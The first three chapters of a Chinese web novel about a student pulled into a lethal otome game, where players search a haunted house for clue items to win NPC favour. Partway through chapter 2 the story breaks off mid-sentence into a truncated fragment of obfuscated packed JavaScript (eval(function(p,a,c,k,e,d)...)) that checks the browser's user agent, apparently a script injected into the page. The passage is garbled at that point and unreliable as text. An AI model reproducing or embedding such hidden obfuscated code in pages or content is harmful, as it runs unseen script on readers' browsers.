《表面乙游》 1. 第一章 林屿耳边响起嗡嗡的声音。 她睁开眼,关掉到站提示震动不休的手环,等待地铁停下。旁边人的声音大了一点,她侧过头,只见一个步履匆匆皱着眉头的男人走向门口,一边走一边抬着手凑近腕部说话。 “项目被叫停了?这可是组长千辛万苦竞上的……” 手环轻轻震动了一下,是好友晓晓发来的消息,林屿按抬手,轻轻点了几下,回复:“马上到。”关掉对话随手打开热搜栏目扫了眼,目光落在最后一条乙游公测消息上,此刻地铁慢慢停下,林屿手指顿了顿,没有立刻点开,随着人流走出站台。 自从手环被推广以来,曾经人们必备的手机已经和更古早的“大哥大”一样,成为落后的产品,在城市里少有使用者,取而代之的是人手一只、与个人身份绑定的手环,它轻便、智能,且不易丢失,完全取代了手机和身份证的用途。博物馆入口处扫过手环,检测到她已有预约,便直接放行。 林屿是来临时抱佛脚的,她在本市A大上学,选修了一门人数冷冷清清的《生物分类学》课程,开课教授在一个月前最后一堂课上布置了结课作业,要求他们随意找一种自己生活中少见的生物,动物、植物或者菌类都可以,并尝试根据课堂所学为它分类。 是十分简单又很有趣味性的作业,奈何林屿课业繁忙,在完成其它课程的论文后忘记了它,到了快要交作业的时间才被手环智能化提醒,而万恶的大数据恰到好处地推送了这个包含各种生物展览的博物展,于是趁着周末约上好友来找找素材。 好友全名陆晓,是林屿同系的同学,也是她唯一常来往的朋友。从小到大,在A大任教的父亲规划好了她全部的人生道路,从幼儿园到博士,一步一步按照安排按部就班,就连朋友也由父亲选择,但说不说得上话强求不来,到最后还一直联系的只有父亲同是A大教授的陆晓。 在漫长且还没有结束的学生时期,陆晓是她的饭搭子、作业搭子、马路搭子,从匆忙课业中挤出的时间也需要这一个搭子,但前段时间陆晓有了男友,于是不愿做灯泡的林屿失去了饭搭子和作业搭子,只剩下逛街能够把好友叫出来。 林屿眯起眼仔细辨认博物馆的展区,她从小视力不好,也没有去做近视手术,她已经习惯了玻璃镜片下的世界。 一路寻找生物展区,林屿免不了被一些新奇玩意吸引到目光,在靠近展柜时手环介绍功能自动触发。 “……消除液是近年最受瞩目的发明之一,它可以神奇地掩盖一切类别的污渍和瑕疵,墙面的缺损、衣服上的脏污、桌面的划痕,新科技隐形衣便是以其为原料制造的,它能在物体表面形成一层伪装薄膜,如果能扩大生产,打下80000元每毫升的价格,消除液将成为日常必备用品之一……” 林屿听到价格差点滑了一跤,这才发现自己不知不觉来到了创新发明展区,在心里为刚才想拿消除液改错别字的想法道了个歉,没想到普普通通名字下是比黄金还贵的身价。 “最新发明还有2g能够使用1年的压缩墨水,一本书大小却比羽毛还轻便的新型纸张,虽然目前价格昂贵,但此类材料或许可用于其它领域……” 书本和纸张虽然仍然被使用着,不过很大一部分被电脑和手环代替了,难怪说它们可用于其它领域。 这些创新几乎都围绕着材料,不愧是这几年最热门的专业,林屿完全无法想象过去材料专业属于最冷门的天坑,因为现在就连她所在的系有许多项目也要同材料系合作。 手环开始不停地震动,原来是她在这里耽误太久,好友开始不停地催促。 林屿关闭介绍功能,停留在一个单独的小展柜前回复消息,不料却被一阵杂沓的脚步打断,好几个防护衣上别着工作牌的人把她和旁边的展品隔开,口中说着:“抱歉,这个展品要撤下去。” 被撤走的是一团细如云烟的白色丝线,匆忙间她只扫到一句介绍:白丝是今年最神奇的发明,它可以模拟网络的作用,以不可思议的物理接触连通数据…… 神奇是神奇,但为什么要这样大张旗鼓地撤下呢? 林屿疑惑问道:“它有什么问题吗?” 工作人员回答:“可能是有其它安排吧,我们也不太清楚。” “你们为什么穿成这样呢?” “不清楚,是上面的要求。” “那我直接这样靠近会有影响吗?” “应该没有吧,我们也不了解。” 林屿:“……” “好吧。”见他们一问三不知,她抽了抽嘴角,目送他们搬着柜台离开,可能是被不断移动的原因,她好像看见柜中丝线忽然像雾气一般流动了一瞬。 走过一段路才忽然反应过来,那些人全副武装地撤走的展品不会有问题吧!那自己全无防护地站在旁边好一会儿,会不会回去忽然暴毙? 想到这样的场景她却奇迹般地没有任何抗拒,毕竟现在的生活无聊透顶,好像活到明年和活到88没有任何区别。 一来到生物展区,便看见好友陆晓在向她招手,“等你好久啦,再不来逛完你赶不上家里的晚饭了!我给你带了你最喜欢的烘焙!”她活力十足地说着,低头翻了翻背包,“哎呀,好像忘在家里了,下次再做给你好不好?” 林屿点点头,“好的,下次给你男朋友做的时候一定要想起我。” 被拆穿的陆晓一点也不羞愧,挽着她开始聊起学校的八卦,“听我爸说最近学校打算设置门禁,住校生离校需要申请。” 林屿点点头表示在听,不过这条规定对她没有影响,因为她没有住过校,而且家里有一套规矩,晚饭必须一起吃,她需要在晚餐进行的同时听母亲一刻不停的唠叨并且不能反驳,晚餐后向父亲汇报当天的课业情况听取下一步安排不能违逆,这项乏味又严格的规矩进行了十多年,而林屿的叛逆期似乎迟迟不来,未曾反抗。 陆晓压低声音神神秘秘地说:“先前有学生失踪的流言你知道吧,据说家长还曾经拿着横幅摆到校门口,只是最后不知道发生了什么不了了之了。” “是有人看见横幅了?是谁?” “你傻呀,这种事怎么能问得出来,除非事情就发生在身边或者问的恰好是知情者。” 林屿想纠正她发生在学校也离她们很近了,不过目光渐渐被各种跳来跳去的动物们吸引,开始认真看展。 玻璃柜里展出了各种各样正常或奇怪生物,有花纹五颜六色的蚕宝宝,可以变换色彩的斗鱼,白色菌丝布满玻璃柜的毒菌,质地坚硬如石块的地衣,爬来爬去的小蜘蛛,以及羽毛鲜艳的鸟类。 林屿多看了一会儿叽喳的小鸟,不为别的,或许潜意识对抗着这样严丝合缝的人生,她常常梦见自己在空中飞翔。可她就如这些小鸟一般,即使飞翔也越不过现实的牢笼。 她记录下几种生活中少见的生物,与好友道别的时候,陆晓玩笑般说了一句:“你一定挑大路走哦,听说失踪的人一直没有被找回来过。” 林屿嘴上说着不在意,但心里被最后一句话搞得毛毛的,尽管对未来毫无期待,但她并不想横遭不测。不知是不是有了一个想法就能留意到与之有关的东西,一路上她看见好几个地方在进行安全防护宣传,自家小区也有,社区工作者戴着袖章拿着喇叭,呼吁居民注意有无陌生人尾随,回家锁好门窗,夜里减少出门,并循环报送附近派出所电话,让人们遇到事情及时报案。 她心中的不安感越发浓郁,近期盗窃案频发,几个月前网上还有过帖子说A市失踪案剧增,呼吁严厉打击人贩子,但随后被删帖。关于失踪案林屿也有在学校听过传言,但不知真假,仅在学生间秘密传播。而且不知为什么,无论是公众平台还是学校论坛,都没有相关信 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“是啊,晚上多不安全,早说了女孩子晚上不该出门。”母亲唠叨着来自上个世纪从来没有变过的一套说辞,把饭菜一一端上桌,并开启了最让林屿煎熬的话题,“你什么时候找个对象回来?年纪大了就不好找了。” 她现在才二十五,根本不急也不想!林屿不敢直接说这话,于是搬出父亲看重的学业压人,“现在课程多任务重,等做出课题了再说。” 本以为父亲会赞同她的话,没想到父亲站在了母亲那边,“这不冲突,你的确不小了,过去不让你谈是学习为重,但现在这两项都要去完成,在毕业前你必须结婚。” 林屿皱眉,在这件事上,她和父母无话可说。她感觉自己被安排好了人生,也捆缚住了未来,只留下一条和绝大部分人一样,按部就班、波澜不兴的道路。这条路是主流之路,却不是她想踏上的路。 走在这条主流之路上,认为天底一切都理所应当的父母是最不会问她“你怎么想”、“你愿意吗”这两句话的人。 面对家人软硬兼施的规训,她用沉默来回答。 饭后,例行向父亲汇报学业听取安排,之后和每一个平常的一天一样,父亲打开新闻,母亲收捡碗筷,林屿走进卧室的小书桌。 将电脑打开,点开未完成的论文,她的目光却移到了手环上。 刚经历一场家庭版催婚威逼,林屿心中不快,手指不知何时点开了常玩的几款乙游,然而所有日常任务已经被清掉,她对着界面发了一会儿呆,随后打开搜索栏输入下午地铁上看到的新乙游名称,进入下载页面,页面标语上赫然写着几行大字:“这是一个离奇、古怪、充满危险的世界,但你可以在这里体验到前所未有的冒险、获得神奇的能力、收获美梦与爱情,甚至你可以永远留在此处,不再归去。” 很奇怪的介绍,简直不像乙游的宣传,倒像是什么冒险RPG。 下载成功后打开游戏,漆黑一片的屏幕浮现出几个白色大字:“您是否选择开启游戏?是或否?” 林屿又看了一遍介绍,没有看见公司的名称,甚至连男主角都没有显示出来,带着对野鸡游戏的怀疑,她的手指犹豫了一会儿,点了“是”。 毕竟市面上那几款都玩过了,也没有其它选择。 游戏进入加载页面,长长的进度条缓慢地前行着,林屿估摸着还有一会儿时间,于是拿出笔记本翻看着下午在博物馆的记录。 她的目光停留在白纸黑字中,台灯的灯光洒在桌面上,手臂在桌面留下一道阴影。游戏下载后,手环背面多了一根半隐半现的白色丝线。 夜里十点二十分,端着切好水果的母亲打开林屿的房门,屋子里空无一人,电脑屏幕闪烁微光,照亮桌面上摊开的笔记本。 2. 第二章 刷、刷、啪嗒、啪嗒…… 沉闷的拖曳声,逼近的脚步声,随后是冰冷的电子音。 “四个上班族青年合租在一间郊野小屋,他们各自为理想筹划着,有一天,这里来了一个不速之客……请努力获得好感度,争取离开的机会。” “发布任务:逃离安心小屋。” “成功奖励,200积分、随机礼包。” 林屿几乎是在系统播报的最后就听到激烈的吵闹声,睁开眼,面前是一个宽大的客厅,同样站在这里的还有另外好几人,吵闹声是一个略有啤酒肚的中年男人发出的,令人诧异的是,他穿着一身鲜艳的紫色连衣裙,浓色的裙面被绷得毫无一丝褶皱。 “这是哪里?我怎么突然到了这个地方?你们是什么人!我要告你们非法拘禁!” 一个身材干瘦的男人冷哼一声:“新人?”他也显眼地穿着连衣裙,不过是黄色的。 不仅是他,这间屋子里就像在开女装party一样,所有的男性都穿着连衣裙,高矮胖瘦胡子拉碴的人套在鲜艳裙装里,真的非常辣眼睛。林屿注意到,在大厅站着的一共9人,包括自己也是一身白裙,唯独有两个惴惴不安的女孩穿着短裙和短袖,她们一个短发一个扎马尾。 “你们也是新人吗?”黑色连衣裙的高挑女人问她们。 “新、新人?”双马尾女孩结结巴巴地重复。 “是,刚进入这个游戏。”黑裙女人扫了一眼她们的装束,“你们进游戏之前就穿着这身衣服?” “是、是的。但我们不知道玩这款乙游会直接被吸进来啊!”短发女孩带着哭腔。 “乙游?”说话的是个蓝裙青年,他长相不错,就是身高矮了黑裙女人一个头,“你们都是玩乙游进来的?” “你们是游戏公司的人吗?还是NPC?我要告游戏公司滥用VR技术!”中年男人喊叫道。 “这不是VR技术,我们在游戏里,换句话说我们在副本里,虽然出了副本有休息区,但所有进来的人都被困在这里回不去现实。”蓝裙青年没有在意男人激动的态度,仍然尽心解释着。 “你们都是玩乙游进来的吗?”他在人群中扫视了一圈。 两个短裙女孩、一个红裙杀马特青年都点了头。 林屿问他:“为什么这么问?你们不是吗?” 老玩家互相对视了一眼,青年说道:“现在解释起来很麻烦,等出副本你们再慢慢了解吧。” 林屿微微皱眉,方才她等待着游戏,却在加载好的一瞬被白光吞没,睁眼后便处于这个空间,耳边还能听见系统发布任务。如果不是做梦,也不是忽然缺失了一段记忆,最合理的推测也正如蓝裙青年所说,自己进入了这个游戏之中。她记得自己先前穿的是一套休闲服,不是裙子,而现在自己身穿白裙,能办到这样的事情,似乎也只能推测是被游戏的神秘力量影响。 虽然这个结论也很离谱,而且为什么杀马特青年和中年男人也玩乙游啊! 干瘦的黄裙男人嘀咕一句:“这届新人怎么这么多。” 林屿观察到,客厅一共9人,确定是老玩家的有3人,分别是干瘦男人、黑裙女人、蓝裙青年,新玩家有5人,分别是自己、两个短裙女孩、杀马特青年和中年男人,还有一个灰裙男人没有说过话,因此暂时不知道他是新人还是老玩家。 归类后,林屿发现了一个问题—— 性别比例不对。 按照常理,男性玩乙游的人数应该远低于女性,新玩家两男三女或男女对半开可以说是偶然因素造成的偏差,但老玩家里只有黑裙女人一个女性就耐人寻味了,根据刚才青年的回答,似乎老玩家不一定是通过乙游来到这里。 他们为什么会被拉入游戏,这款游戏又是怎样的存在,林屿心中充满疑惑,可是眼前只有一片迷雾,她甚至不知道要怎样离开这一个被称为“副本”的空间。 林屿还待进一步思考,却只见中年男人大步跑到大门口,费力地扭动门把手,金属摩擦出“吱呀——的”尖锐声响,他用力得涨红了脸,可钢铁大门依然纹丝不动。 他又随手从物架上捞过一个铜制摆件“哐哐哐哐”地砸起窗户,可看似薄脆的玻璃在猛烈的击打下连裂缝都没有。 “这样是没有用的。”蓝裙青年劝说道,可男人完全听不进去,他的惶恐全部化为砸击的动作,用破坏和攻击宣泄着自己的愤怒。 惨白的光线照进屋内,窗外没有任何景物,没有街道、没有花园,只有一片白色,让人无端生出毛骨悚然的预感。 中年男人渐渐停止了动作,被疯狂砸过的玻璃依然纤巧、薄脆、完好无损,甚至连划痕也没有。他终于力气用尽,在不合常理的世界渐渐接受了不合常理的遭遇,明白了自己的处境,他不由自主退后了两步,远离了窗户,面带恐惧地擦了擦额头的汗水。 他回头,打算回到人群,却发现客厅已经空无一人。 …… 林屿也是目瞪口呆。 就在方才,老玩家忽然一窝蜂跑了,就在林屿以为是方才男人的举动会招致什么危险的时候,却发现他们并不是逃跑,而像是去抢什么东西,争先恐后地挤进了一个让人万万没有想到的地方——厨房。 灰裙男人也在抢进厨房之列,他的老玩家身份显露无疑,而林屿等新玩家都是跟风到了厨房只是茫然地看着他们,不知道他们在干什么。 所以这到底是怎么回事?为什么老玩家开局全部跑厨房啊? 他们每人占领了一个区域,迅速拿起东西又迅速放下,就这样一个换一个,场面一时变成了穿着各色裙子的四个人在厨房重复同一个动作。 “你们在做什么?”跟进来的红裙杀马特问道。 先前还乐于答疑的蓝裙青年头也不抬,他拿起一颗大白菜又放下,百忙之中回了一句:“等下说给你们听。” 忽然,一颗大白菜消失在他手中,青年露出满意的神色。 翻米粮的干瘦男人和翻水果的黑裙女人手中也有了消失的食物,只有没有抢到先手被挤到调料区的灰裙男人皱眉,他拿起过的物品还一个都没有消失。 所以他们这是在获取物资?可为什么要一个一个拿在手中,为什么好像消失的东西才算收获? 又为什么唯独搜刮食物? 厨房的台面很宽,灰裙男人排查完调料瓶,伸手去够架子上的罐装调料,他倾斜着身子,指尖刚刚碰上砂糖罐,忽然一张纸条弹出来,从架子上飘落。 与此同时,男人惨叫一声,捂着手指弓起身子。 “怎么回事?”黑裙女人从水果区走到男人面前查看,“食指被扭断了,刚才你做了什么?” 男人忍着疼痛断断续续说道:“在那个架子上……摸到罐子……” 黑裙女人也注意到台面的字条,她对着林屿说道:“可以帮我拿过来看看吗?” 虽然很有礼貌,但林屿注意到其实女人离纸条更近,而刚才莫名其妙的危险是怎样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时间,厨房安静得只剩下抽泣声和灰裙男人的呻吟。 “快点!”干瘦男人呵斥。 林屿皱眉,房间里,老玩家黑裙女人冷眼旁观,蓝裙青年一脸犹豫,新玩家杀马特面带畏惧,短发女孩和同伴哭成一团。 “所以你们怀疑碰到提示就会遭遇攻击吗?”林屿在这令人喘不过气的氛围中突然说道,“那好办,这样不就行了。” 她就着筷子伸手一戳,筷子在碰到另一个调料罐的时候“啪嗒”一声折断,又一张纸条掉下来。 “他喜欢吃咸。” 林屿抽抽嘴角,换了双筷子继续挨个试了一遍,辣椒罐又掉下一张“他喜欢吃辣”的字条,其余则毫无动静。 她又重新挨个戳了一遍,先前掉下字条的罐子也变得毫无动静了。 “所以,这个提示有什么用处?”林屿丢下折断的筷子问道。 蓝裙青年在看到她的举动后似乎松了口气,说道:“你还记得副本开始前发布的任务吗?我猜,这与好感度有关,具体怎样操作还不清楚,需要更多信息。” 林屿点点头,她记得系统的提示:请努力获得好感度,争取离开的机会。 她继续问道: “可以和我们解释一下吗,刚才你们在做什么?” 青年正要开口,客厅忽然传来男人的惨叫。 3. 第三章 一楼的房间都是围绕着中央客厅分布,大厅两侧有楼梯通往二楼,隐约能够看见紧闭的房门。惨白的光线透过玻璃窗映照进来,把家具照得失了颜色。 中年男人在沙发边的地板上翻滚,发出杀猪般的惨叫,沙发上甩着一个手机和一张字条。 看来是男人无意间碰到含有提示的物品了。 干瘦男人率先上前捡起手机,林屿的目光却被男人的手腕吸引,他的手软软地垂下,腕部一圈青紫印痕,似乎有什么东西沿着这圈痕迹挤断了他的手腕。 林屿走上前,“需要帮助吗?我不会正骨,但可以找东西固定一下手部。” 大肚男人胡乱点了点头,“要、要的!” 林屿还拿着筷子,遇见什么东西都戳一下排除危险,她在柜子里找来纱布和夹板,但在要包扎的时候尴尬地发现自己不知道怎么下手…… “我、我来吧。”一个细小的声音在身边响起,是跟过来的短发女孩,“家里有人是做中医的,我也看过一些处理伤口的办法。” 林屿点点头,把纱布交给她,“好,麻烦你了。” “不客气。”短发女孩小声说,“刚才谢谢你,不然我和琪琪都不知道怎么办才好,对了,我叫周泡泡,她叫陆琪琪。”她指了身边的指双马尾女孩。 “我们是堂姐妹。” 林屿也顺便介绍了自己,这时手指骨折的灰裙男人凑过来,“也可以帮我包扎一下吗?” 周泡泡点头,“可以的。” 此时手机已经□□瘦男人拿走了,纸条被黑裙女人收捡,他们两人已经开始一间一间搜寻房间。 林屿发现蓝裙青年还在旁边站着,问了一句,“你怎么不去找线索?” 蓝裙青年说,“一共有三天时间,急不得,而且线索一般也不是这么好拿的。你们想知道刚才那张字条写的什么吗?” 刚才林屿没顾得上看,而且受到攻击的中年男人应该也没有看,现在字条被拿走,她确实想知道这条信息。 但是青年会有这么好心吗?虽然才来到这里短短的时间,但老玩家对新人的态度已经初见端倪,要么无视要么嫌弃要么当做靶子,就算青年先后展露出些许友好,但她也怀疑他的目的。 “有什么交换条件?”林屿问。 “条件的话,希望你们可以通关副本吧。”他无奈地笑了笑,“我不是很看得惯他们这种行为,但这样的人很多。” “刚才纸条上写着:一台性能完好的手机,大吴绝对不会把它给别人翻。” “大吴是谁?”杀马特青年问道。 “可能是安心小屋——就是居住在这里的四个人之一。”林屿根据副本信息猜测,忽然她想到了另一件事,“对了,你们之前为什么会全部到厨房,在厨房是做什么?” 青年说道:“等你们完成一次副本,到了休息区就会知道,在这个游戏里,食物是非常宝贵和紧缺的资源,玩家绝大部分积分都用来买了食物。所以一进副本,在确定基本情况后,所有人都会先寻找真实食物。” “真实食物?难道还有虚假食物?” “能够装进背包的就是真实食物,其它的只在副本内存在,无法带出去,而且吃了也不会有饱腹感。” “刚才那颗消失的大白菜……” “就是装进了背包。背包每个人都有,一共六格,但每一格只能装同类型的东西。”他像是看出了她们的疑惑,补充道,“你们默念系统就可以看到背包选项。” 林屿照做,脑海里果然浮现了背包图标,与此同时还有闪烁着幽幽光彩的技能栏,她有些好奇,忍不住点了进去。 这时她听见系统音在脑海中响起:“检测到玩家自带技能‘飞行’,现已激活。” 自带技能?这还能自带的? 林屿看见一个亮起的图标,银色方框内橙色的线条勾勒出两片底部相连的叶子形状的东西。图标的形状乍看像草叶,再看像花,最后仔细看什么也不像。 就十分抽象。 她忽然回忆起自己从小常做的梦,梦见自己在漂浮,梦见自己飞在空中。这样的梦和技能有什么关联吗?难道梦境是自身能力的显现? 忽然有点后悔没有做过变身超人的梦。 杀马特青年惊呼,“技能!我看到背包旁边有技能的选项,难道这是个升级打怪游戏?咦,怎么点不动!” 琪琪和泡泡也对技能感兴趣,“我们怎样才能拥有技能呀?” “其实大部分玩家都没有技能,如果运气好的话,通过很多次副本后也许会激活。”青年回答。 两个女孩低落地垂下头,但杀马特青年却自信满满,“也就是通过这个副本我就有技能了!” 青年嘴角抽搐了一下,“就我所知,很少有过一个副本就激活技能的人。” “那在副本中有可能获得技能吗?”林屿问道。 “技能都是在副本中激活的,但概率随着通关副本数量而增长,最开始可能性很小。”青年道。 林屿对着自己的技能框沉默,她忍不住脑洞了一下,难道自己是天选之子,马上就要不断升级打怪走上人生的巅峰? 克服了马上试验的冲动,她决定还是不要暴露这一点,先多看多听多观察,快速摸清游戏规律为好。 在青年的建议下,除了腕部折断暂时丧失行动力的中年男人留在了客厅,余下的玩家分为两两一组开始探索这栋房屋,两姐妹、杀马特青年和灰裙男人,林屿和青年。 林屿手里还拿着一对完好的筷子,随便选了一个离得近的房间打开门,就听见青年说:“刚才忘了介绍,我叫韩舒。” 函数?和自己的淋雨一样,真是个好名字。 这个房间似乎是衣帽间,门后有一个大镜子,但房间并不整洁,许多风格不同的衣服裤子领带随意丢成一团,显得杂乱无章,林屿小心翼翼地跨到房间空地上,对韩舒举起筷子:“要不要分你一根?” “不用了,我有。”他手中不知什么时候出现了一根擀面杖,开始一件一件触碰过去,林屿看了一会儿,也加入了这个行动。 令人沮丧的是,工程量浩大的排查工作进行到最后,也没有发现什么,用来试探的厨房用具完好无损,自然也没有找到线索纸条。 没有特殊物品也意味着没有危险,林屿不再小心翼翼地寻找落脚点,直接往门口走去,忽然她被什么猛地绊了一跤,脚上传来一阵大力,她被吓得向上一蹿,只觉得脚上一空,随即重重摔倒在地。 “你的鞋!” 林屿从衣服堆里爬起来,就看到自己的鞋断成两截,忍不住一身冷汗。差一点,她的脚就是这样的结局。 绊住林屿的是一条花领带,领带旁边静静地躺着一张字条,这就是刚才受到攻击的原因——她又触碰到了含有提示的物品。 “不是都试过了吗?”韩舒喃喃自语,他走近捡起字条,“一条红绿金配色的俗气领带,小周是个骚包的男人。” “这个给你。”他把纸条和领带递过来,方才干瘦男人和黑裙女人的行动已经证明触发线索后的物品已经没有危险。 林屿没有接,只是看着他。 似乎是看出了她的警惕, “这是你度过危险获得的提示,谁拿到的物品归谁。”韩舒看着她,似乎回想到了什么,“刚才你跳得好高。” 林屿有些黑线,“跳得不高我就瘸了。”她站起身,接过花领带,“我怀疑有些提示物品需要人来触碰才能激发。” 两人对视一眼,心中都是一紧,这样的话,拿到提示和特殊物品的危险性会大大增加。 “我有一个猜测不知道对不对。”林屿说着,小心翼翼捡起一条围巾,用它把手包住,环视一圈,走向了一件花衬衫。 在触碰到的一瞬间她就收回了手,围巾被瞬间拽下,似乎有什么猛烈地撕扯着它,直到碎成一片片的毛料。 林屿揉了揉眼睛又正了正眼镜,她刚才好像看到了什么,但又不确定是不是眼花……捡起花衬衫上飘落的纸条,“一件印着紫色牡丹花黑底的衬衫,小周在酒吧像朵招蜂引蝶的花。” 可以的,花领带花衬衫和酒吧,林屿在脑海中都可以想象出小周的形象。 “所以这些需要人接触才能获得线索的物品不限于皮肤触碰,像戴手套、穿鞋、穿衣服的部位碰到都可以。”韩舒也发现了这点。 “嗯,我猜这一个规则适用于提示带有人名的物品,目前出现的有小周和大吴,而这间屋子里是住着四个人,每个人的物品应该不只一个。” 林屿拿着花领带和花衬衫,“四个人应该各自有各自的风格,你可以找一找有个人特点的衣物。” 韩舒根据她的话,险险地获得了一套西装。 “一套衣角略有磨损的西装,小郑最得体的衣服。”忽然发现面前的人有些心不在焉,问道:“怎么了?有什么发现吗?” “没什么。”林屿口上说道,“继续搜吧。” 刚才他被攻击的那一瞬间,她好像看见了一个黑色的人影,和撕扯围巾时一模一样的人影…… 像是有鬼魂在阻止他们获得这些物品一样,林屿想到这里起了一身鸡皮疙瘩。 有了成功例子,林屿两人又把剩余的衣服搜了一遍,不过她显得更为小心,只是一个地方出现三件带线索的物品已然是极限,他们再也搜不出什么了。 林屿出门前想了想,把花领带和花衬衫放回了乱衣堆,藏在好几件衣服下面,韩舒看到之后惊讶了一瞬,然后照做。 他也想到了,有干瘦男人那样的玩家在,难保不会被抢走这些,而拿走线索后别人就不可能分辨出特殊物品,不如等知晓用途后再做打算,她这一招藏木于林用得巧妙。 “你简直不像个新人。”韩舒赞叹。 林屿叹了口气,“如果你家里也有一套严密的规矩,而你一违反就要遭受惩罚或是好几周的不愉快的话,你也会这样的。” “啊?什么?”他现在是真的惊讶了,用特别小的声音嘀咕,“没想到林教授家里竟然是这样的……” 林屿没听到他在嘀咕什么,因为一出衣帽间就有人在喊她的名字,周泡泡在二楼的栏杆后向她招手。 等两人上楼,发现所有人都在这里。 “我和琪琪刚才发现了这张告示,到处找你们没有找到,感觉这是很重要的东西。”泡泡指着贴在二楼墙上的一张纸,随即凑近小声地说:“刚才他们两个在尝试开这几扇门,但没有打开。” 她指的是黑裙女人和干瘦男人。 林屿点点头,也小声告诉她:“等下你们找线索的时候要小心,有些物品只有人碰了才有反应,隔着衣服鞋也算,可以用什么包着手去试,但收手一定要快。” 二楼只有一条正方形走廊,每条边上都有4个房间,总共16间,外门一模一样,整齐排列下显得压迫感十足。有两道楼梯衔接上下楼,他们所处的位置在右边楼梯上去的走廊,面前是4个关闭的房门,但和另外12个房间不一样的是,这4个房门旁边有一个小支架,支撑着一小块平台。 林屿阅读起纸上的文字: 致全体应聘者: 1、夜晚为休息时间,请勿离开房间。 2、每人单独一间,请勿合住。 3、找回丢失的物品有奖励。 4、我们会分别带最满意的人离开。 应聘者……玩家都是应聘者吗?又是来应聘什么的呢? “离开的规则出现了。”黑裙女人说道。 “是什么?”中年男人激动地问。 “是第四条,应该是说房屋原本的四个人会各带一个人离开。”韩舒解释道。 “那怎样成为最满意的人呢?”泡泡问。 “我猜测,和好感度有关。”林屿说。她走上前试着拧了拧门把手,发现果真拧不动眼前四扇门的。不过,就算能拧动她也不会开门。 “其它门你们试了吗?” “还没有,在等人齐。”黑裙女人道,“现在可以尝试了。” 玩家们扭动把手,都顺利地打开了房门,经过一番试验,他们发现各自只能打开方才选择的门,无法打开其余的房门,但在门开着的时候都可以进入。 “这就是每人一间的含义?”林屿打量着房间布置,正常卧室大小,靠墙摆着一张床,床对面是一个带镜子的梳妆台,靠墙有一个衣柜和一个扶手椅。窗外依然白蒙蒙的看不清,她打开衣柜,里面摆放了很多套家常衣服,男女款的都有。 林屿瞅了瞅身上只有两个浅兜的连衣裙,十分想换一套便装。她平时几乎不穿这类裙子,方才搜索的时候也感觉不方 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“你怎么不自己尝试?”干瘦男人并不愿意自己去做第一个吃螃蟹的人,“万一你猜错了呢?” 黑裙女人耸耸肩,“要是我找到什么的话肯定自己试了,而且你不是有两个线索物品吗?” “你怎么知——”干瘦男人止住话头,“你诈我?” 林屿说:“这是很明显的事。”他黄色的裙摆边缘被扯破了,而且显得凌乱,就像是经过激烈的战斗,在这样的场景下只能说明他又遇到了线索物品。黑裙女人的装束仍然整整齐齐。 “就算没用,你也可以把东西收回来。”黑裙女人道。 干瘦男人“哼”了一声,拿着手机放在左边第一扇门的平台上,过了一会儿什么事也没发生。 “可能是门不对,要放到大吴门口。”韩舒说。 手机果然在第二扇门的平台上消失了,与此同时干瘦男人有明显的怔愣,像是听到了什么。 “收到系统通知了?”黑裙女人说道,“是什么?” “我为什么要告诉你们?”他嘚瑟地甩下这句话,又拿出一瓶香水放了上去,等到香水消失后转身下了楼。 黑裙女人叹了口气,从口袋里拿出一架金丝眼镜,依次试了试第一、第三个平台,眼镜在第三个平台上消失,她也静立了几秒钟,对其余人说道:“线索物品可以增加好感度。” 原来她刚才说没有线索物品是在骗干瘦男人。 “你为什么愿意告诉我们?你应该能看懂第四条规则,他们会带最满意的人离开,也就是说好感度最高的四个人,线索物品增加好感度,玩家间是竞争关系。”韩舒说道。 “也不一定是竞争,如果刷的不是同一个人好感度的话。”林屿一边思考一边说道,“他们会分别带走最满意的人,也就是说一个人带一个,所以好感度也许是分别加的,就算总分最高也没用,单个NPC的好感度没超过别人的话就不是那个 ‘满意的人’。” “原来是这样……”灰裙男人毫无存在感地说了一句。 黑裙女人赞叹地看向林屿,“新人很少有你这样的素质,我也是一样的想法,告诉你们是想说,之后有小郑的物品可以和我交换,也可以互换线索。” 黑裙女人和灰裙男人下楼继续去寻找线索,林屿敲门喊出两姐妹,把刚才的事情和她们说了一下,这时换回男装的中年男人走出来,问韩舒:“你们吃过饭了吗?” 原来之前他没有来过厨房,所以不知道玩家不用吃饭这件事。 韩舒再次耐心解释了一遍,林屿渐渐有种感觉,他可能是真心想帮助新人,虽然在面对危险的时候表现得很怂。 林屿下楼把之前的两件花花衣服线索物品拿了上来,韩舒表示那一件衬衫是小郑的,他不太想和黑裙女人竞争小郑的好感度,准备找一找其他人的物品,而西装在之后可以交换出去,于是去了其它地方搜寻。 花衬衫和花领带分别加了10分小周的好感度。收到系统通知的时候,她似乎真的有了一种在玩乙游的感觉…… 林屿忽然想起之前在厨房的三罐调料,那也是线索物品,她连忙下楼拿了上来,但令人沮丧的是,没有一个能加好感度。 所以真的只有带人名的才行…… 林屿回到厨房把调料放回,看着手指粘上的辣椒粉,伸手抹向一条旧围裙,忽然她周身一冷,几乎本能般地跳开,没想到这一跳直接浮到了空中,等到黑影消失,又过了一会儿,她落到地上,捡起围裙边的纸条。 刚才在心里大致数了数时间,清楚了自己悬浮状态大概能维持一分钟。 “一条旧围裙,老王很照顾人,有时做饭给另外三人吃。” 老王——第四个人也出现了。到现在她已经知道了四人的全部名字:小周、大吴、小郑、老王。 忍住吐槽的心情,林屿收起字条,神色如常地把围裙放回原位。她准备拿它和韩舒交换小郑的西装,再看情况用西装和黑裙女人交换情报或者物品。不过,她忽然想到一点—— “安心小屋合住着四个人,有一天,这里来了一个不速之客……” 他们所有玩家好像都忽略了,安心小屋不止有四个NPC。 “天黑了!”她听到有人在喊。 窗外白茫茫的光线逐渐消失不见,一片择人欲噬的深从窗外黑蔓延开来。 林屿想起二楼张贴的规则——夜晚请勿离开房间,连忙跑上楼。好几个玩家也同时慌慌张张爬楼梯冲过来,除了正用那只未受伤的手开门的中年男人,她还看到一个换回男装的人,是杀马特青年。 琪琪和泡泡的房间在她右边第一个和第二个,她们打开门面露惊慌地向外张望着,见她们看向自己,林屿说道:“小心,尽量不要换下裙子,夜晚不要给任何人开门。” 